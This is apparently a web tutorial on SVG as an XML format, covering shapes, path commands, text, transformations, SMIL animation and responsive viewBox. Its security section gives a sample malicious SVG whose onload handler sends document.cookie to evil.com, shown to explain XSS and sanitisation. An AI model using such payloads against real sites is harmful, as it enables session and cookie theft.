Skip to content

SVG as XML — Scalable Vector Graphics Guide

DodaTech Updated 2026-06-20 9 min read

In this tutorial, you'll learn about SVG as XML. We cover key concepts, practical examples, and best practices.

SVG (Scalable Vector Graphics) is an XML-based vector format for shapes and paths — rendering resolution-independent graphics through standard XML elements.

What You'll Learn

  • The XML structure of SVG documents and how elements nest into a render tree
  • How to draw shapes, paths, text, and apply transformations using SVG elements
  • How to animate SVG with SMIL and CSS, and embed SVG in HTML
  • Security considerations when rendering user-submitted SVG files

Why It Matters

SVG is resolution-independent, searchable, scriptable, and compressible — unlike raster formats like PNG or JPEG. It powers icons, data visualizations, responsive web graphics, and even UI components in frameworks like React and Vue. Durga Antivirus Pro uses SVG for its real-time threat dashboard, generating vector charts from live malware detection data.

Learning Path

flowchart LR
  A[XML Basics] --> B[XML vs JSON vs YAML]
  B --> C[RSS & Atom Feeds]
  C --> D[SVG as XML
You are here]
  D --> E[XML Configuration Files]
  E --> F[XML Web Services]

SVG Is XML

Every SVG file is a valid XML document. This means all XML rules apply: one root element, proper nesting, case-sensitive tags, quoted attribute values, and optional namespaces.

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg"
     viewBox="0 0 400 300"
     width="400"
     height="300">
  <rect x="50" y="50" width="300" height="200"
        rx="10" ry="10"
        fill="#1a73e8"
        stroke="#0d47a1"
        stroke-width="3" />
  <circle cx="200" cy="150" r="60"
          fill="#ffffff"
          opacity="0.9" />
  <text x="200" y="160"
        font-family="Arial, sans-serif"
        font-size="24"
        fill="#1a73e8"
        text-anchor="middle"
        font-weight="bold">SVG</text>
</svg>

The SVG namespace http://www.w3.org/2000/svg tells the browser or renderer that these elements are vector graphics, not generic XML. Without it, the elements have no rendering meaning.

The SVG DOM Tree

Like HTML, SVG creates a DOM (Document Object Model) tree where elements are nodes. The root <svg> element establishes the viewport. Child elements (<rect>, <circle>, <text>) are drawn in document order — later elements appear on top.

Basic Shapes

SVG provides six basic shape elements that cover most drawing needs:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 200" width="500" height="200">
  <!-- Rectangle -->
  <rect x="20" y="20" width="80" height="60" fill="#e74c3c" rx="8" />

  <!-- Circle -->
  <circle cx="170" cy="50" r="40" fill="#3498db" />

  <!-- Ellipse -->
  <ellipse cx="290" cy="50" rx="50" ry="30" fill="#2ecc71" />

  <!-- Line -->
  <line x1="400" y1="20" x2="460" y2="90" stroke="#9b59b6" stroke-width="4" />

  <!-- Polygon -->
  <polygon points="20,120 60,180 100,140 80,100 40,100"
           fill="#f39c12" stroke="#e67e22" stroke-width="2" />

  <!-- Polyline -->
  <polyline points="150,180 190,130 230,160 270,110 310,140"
            fill="none" stroke="#1abc9c" stroke-width="3" />
</svg>

Expected rendering: Six distinct shapes drawn across the canvas — a rounded red rectangle, a blue circle, a green ellipse, a purple diagonal line, a yellow irregular polygon, and a teal zigzag polyline.

The <path> Element — SVG's Most Powerful Tool

The <path> element is the Swiss Army knife of SVG. A single <path> can draw any combination of lines, curves, and arcs using a compact string of commands.

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 200" width="300" height="200">
  <!-- Bezier curve -->
  <path d="M 30 150
           C 30 30, 130 30, 150 150
           S 270 270, 270 150"
        fill="none"
        stroke="#e74c3c"
        stroke-width="4" />

  <!-- Star shape -->
  <path d="M 220 20
           L 235 65
           L 280 65
           L 245 95
           L 255 140
           L 220 115
           L 185 140
           L 195 95
           L 160 65
           L 205 65 Z"
        fill="#f1c40f"
        stroke="#f39c12"
        stroke-width="2" />
</svg>

Path Commands Reference

Command Name Parameters Description
M x y Move To x, y Lift pen, move to point
L x y Line To x, y Draw straight line to point
H x Horizontal Line x Draw horizontal line
V y Vertical Line y Draw vertical line
C x1 y1, x2 y2, x y Cubic Bezier Two control points + end point Smooth curve
S x2 y2, x y Smooth Cubic One control point + end point Continuous bezier
Q x1 y1, x y Quadratic Bezier One control point + end point Simple curve
T x y Smooth Quadratic End point Continuous quadratic
A rx ry x-axis-rotation large-arc sweep x y Arc Radius + rotation + flags + end point Elliptical arc
Z Close Path None Close back to start

Commands can be uppercase (absolute coordinates) or lowercase (relative coordinates). Mastering paths unlocks every vector illustration capability.

Text and Fonts

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 200" width="500" height="200">
  <!-- Basic text -->
  <text x="20" y="40" font-family="Arial" font-size="24" fill="#333">
    Hello, SVG World!
  </text>

  <!-- Styled text with multiple properties -->
  <text x="20" y="80"
        font-family="Georgia, serif"
        font-size="18"
        font-style="italic"
        font-weight="bold"
        fill="#e74c3c"
        text-decoration="underline">
    Styled SVG Text
  </text>

  <!-- Text on a path -->
  <defs>
    <path id="text-path" d="M 20 140 Q 150 100, 300 140 T 480 120"
          fill="none" stroke="#ccc" />
  </defs>
  <text font-family="Arial" font-size="16" fill="#3498db">
    <textPath href="#text-path">
      This text follows a curved path using SVG textPath.
    </textPath>
  </text>
</svg>

Expected rendering: Three text elements — plain text at top, styled italic bold text in red below, and curved text following a smooth bezier path at the bottom with a light gray guideline.

Grouping and Transformations

The <g> (group) element collects related shapes and applies common attributes or transformations to all children.

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 300" width="400" height="300">
  <!-- Original square -->
  <rect x="10" y="10" width="50" height="50" fill="#3498db" opacity="0.5" />

  <!-- Transformed group -->
  <g transform="translate(100, 50) rotate(45) scale(1.5)">
    <rect x="10" y="10" width="50" height="50" fill="#e74c3c" />
    <circle cx="35" cy="35" r="15" fill="white" opacity="0.6" />
  </g>

  <!-- Skewed group -->
  <g transform="translate(250, 30) skewX(20)">
    <rect x="0" y="0" width="80" height="60" fill="#2ecc71" rx="5" />
    <text x="40" y="38" font-family="Arial" font-size="14"
          fill="white" text-anchor="middle">Skewed</text>
  </g>

  <!-- Scaled group -->
  <g transform="translate(50, 160) scale(0.8, 1.2)">
    <ellipse cx="50" cy="30" rx="50" ry="30" fill="#9b59b6" />
    <ellipse cx="50" cy="30" rx="20" ry="10" fill="white" opacity="0.3" />
  </g>
</svg>

Expected rendering: Four groups showing the effects of translate, rotate, scale, and skewX transformations — a semi-transparent blue square, a rotated red group, a skewed green rectangle with text, and a vertically stretched purple ellipse.

Animation with SMIL

SVG supports declarative animation using SMIL (Synchronized Multimedia Integration Language) — no JavaScript required.

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 200" width="400" height="200">
  <!-- Moving circle -->
  <circle cx="50" cy="100" r="25" fill="#e74c3c">
    <animate attributeName="cx"
             values="50;350;50"
             dur="4s"
             repeatCount="indefinite" />
    <animate attributeName="fill"
             values="#e74c3c;#3498db;#2ecc71;#e74c3c"
             dur="4s"
             repeatCount="indefinite" />
  </circle>

  <!-- Pulsing rectangle -->
  <rect x="150" y="60" width="100" height="80" rx="8" fill="#9b59b6">
    <animate attributeName="opacity"
             values="1;0.3;1"
             dur="2s"
             repeatCount="indefinite" />
    <animateTransform attributeName="transform"
                      type="scale"
                      values="1;1.2;1"
                      dur="2s"
                      repeatCount="indefinite"
                      additive="sum" />
  </rect>

  <!-- Rotating text -->
  <text x="320" y="110"
        font-family="Arial" font-size="18" fill="#f39c12"
        text-anchor="middle" font-weight="bold">
    &lt;SVG/&gt;
    <animateTransform attributeName="transform"
                      type="rotate"
                      values="0 320 110;360 320 110"
                      dur="6s"
                      repeatCount="indefinite" />
  </text>
</svg>

Expected rendering: A circle moving left to right while cycling through red, blue, and green; a purple rectangle pulsing in opacity and scale; and text rotating around its center continuously.

Responsive SVG

SVG scales perfectly to any container size using the viewBox attribute:

<svg xmlns="http://www.w3.org/2000/svg"
     viewBox="0 0 200 200"
     width="100%"
     height="auto"
     style="max-width: 600px;">
  <circle cx="100" cy="100" r="90"
          fill="#1abc9c"
          stroke="#16a085"
          stroke-width="4" />
  <text x="100" y="110"
        font-family="Arial"
        font-size="40"
        fill="white"
        text-anchor="middle"
        font-weight="bold">100%</text>
</svg>

The viewBox="0 0 200 200" defines a 200x200 coordinate system. Setting width="100%" makes the SVG stretch to fill its container while maintaining aspect ratio. The graphic stays crisp at any size.

Security Considerations

SVG files can contain JavaScript via <script> tags and event handlers — making them a vector for XSS attacks if user-submitted SVG is rendered without sanitization.

<!-- Malicious SVG with XSS -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert("XSS")</script>
  <circle cx="50" cy="50" r="40" fill="red"
          onload="fetch('https://evil.com/steal?cookie='+document.cookie)" />
</svg>

Security best practices for SVG:

  • Strip <script> elements and on* event handlers from user-submitted SVG
  • Use DOMPurify or similar SVG sanitizers
  • Render SVG in sandboxed iframes when displaying untrusted content
  • Serve SVG with Content-Security-Policy: default-src 'none' headers
  • Disable external resource loading (fonts, images) in SVG renderers

Durga Antivirus Pro scans SVG files for embedded scripts and event handlers before rendering them in dashboards, preventing XSS attacks through vector graphics.

Common Mistakes

1. Missing or incorrect namespace

<svg width="100" height="100">  <!-- WRONG: missing xmlns -->
<svg xmlns="http://www.w3.org/2000/svg">  <!-- CORRECT -->

Without the namespace, browsers render the SVG as generic XML — nothing appears.

2. Using HTML-style camelCase attributes

SVG attributes are lowercase with hyphens: stroke-width, font-family, text-anchor. HTML-style strokeWidth, fontFamily won't work.

3. Forgetting viewBox for responsive SVGs

Without viewBox, SVG doesn't scale. Always define it when you need responsiveness.

4. Overlapping elements without opacity issues

Multiple semi-transparent shapes create darker overlaps. Use mix-blend-mode or adjust backgrounds.

5. Not closing path commands

A missing Z command at the end of a path means the shape never closes — fill won't work as expected.

6. Ignoring text fallbacks

System fonts render differently across platforms. Specify font stacks: font-family="Arial, Helvetica, sans-serif".

7. Large inline SVGs bloating HTML pages

Use external .svg files with <img src="file.svg"> or SVG sprites for reusable icons.

Practice Questions

  1. Why must SVG include the XML namespace xmlns="http://www.w3.org/2000/svg"? The namespace tells the renderer that elements like <rect> and <circle> are SVG shapes, not generic XML elements. Without it, nothing renders.

  2. What is the difference between width/height and viewBox? width and height set the display size. viewBox defines the internal coordinate system. SVG scales the viewBox to fit the width/height.

  3. How do you animate an SVG element without JavaScript? Use SMIL animation elements like <animate>, <animateTransform>, and <animateMotion> directly in SVG markup.

  4. What does the <path> command M do? M (Move To) lifts the virtual pen and moves to a coordinate without drawing. All paths start with M.

  5. Why are SVG files a security risk? SVG supports <script> elements and inline event handlers (onload, onclick), enabling XSS attacks if untrusted SVG is rendered without sanitization.

Challenge: Build an animated SVG dashboard widget that displays a real-time updating gauge (0-100%) with a needle, tick marks, and value label — using only SVG and SMIL animation.

Real-world task: Durga Antivirus Pro displays threat statistics on a live dashboard. Design an SVG bar chart that reads threat data from an XML file and renders bars for each threat category (malware, phishing, ransomware) with animated growth on load.

FAQ

Is SVG the same as XML?

SVG is an XML dialect — every SVG file is a valid XML document that follows all XML rules (one root, proper nesting, quoted attributes) and renders vector graphics through browser or SVG viewer.

Can SVG contain JavaScript?

Yes. SVG supports <script> tags and event handler attributes, which is why user-submitted SVG must be sanitized to prevent XSS attacks.

What is viewBox in SVG?

viewBox="minX minY width height" defines the internal coordinate system. SVG scales this coordinate space to fit the element's actual width and height, enabling resolution-independent rendering.

What's Next

Tutorial What You'll Learn
XML Configuration Files — Complete Guide Manage application settings with XML configs
XML Web Services — SOAP & REST with XML Build enterprise web services with XML messaging
XML Digital Signatures Sign and verify XML documents for security

Built by the developers of Doda Browser, DodaZIP, and Durga Antivirus Pro. Updated 2026-06-20.

← Previous RSS & Atom Feeds — XML Syndication Guide Next → XML Configuration Files — Complete Guide

Built by the developers of DodaTech

Doda Browser, DodaZIP & Durga Antivirus Pro

Home Browse Xml